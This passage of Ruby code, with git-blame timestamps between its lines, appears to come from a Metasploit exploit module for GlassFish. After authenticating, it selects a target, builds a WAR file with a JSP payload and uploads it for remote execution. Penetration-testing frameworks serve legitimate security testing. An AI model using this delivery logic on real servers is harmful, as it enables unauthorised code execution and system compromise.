fail_with(Failure::NoAccess, "#{my_target_host()} - GlassFish - Failed to authenticate")
2013-08-30 16:28:54 -05:00
end
2015-06-24 19:30:02 -05:00
selected_target = target.name =~ /Automatic/ ? auto_target(sid, res, version) : target
fail_with(Failure::NoTarget, "Unable to automatically select a target") unless selected_target
app_base, jsp_name, war = make_war(selected_target)
2015-06-24 14:17:45 -05:00
print_status("Uploading payload...")
res = upload_exec({
:session => sid,
:app_base => app_base,
:jsp_name => jsp_name,
:war => war,
:edition => edition,
:version => version
})
2013-08-30 16:28:54 -05:00
end
2011-08-04 17:36:01 +00:00
end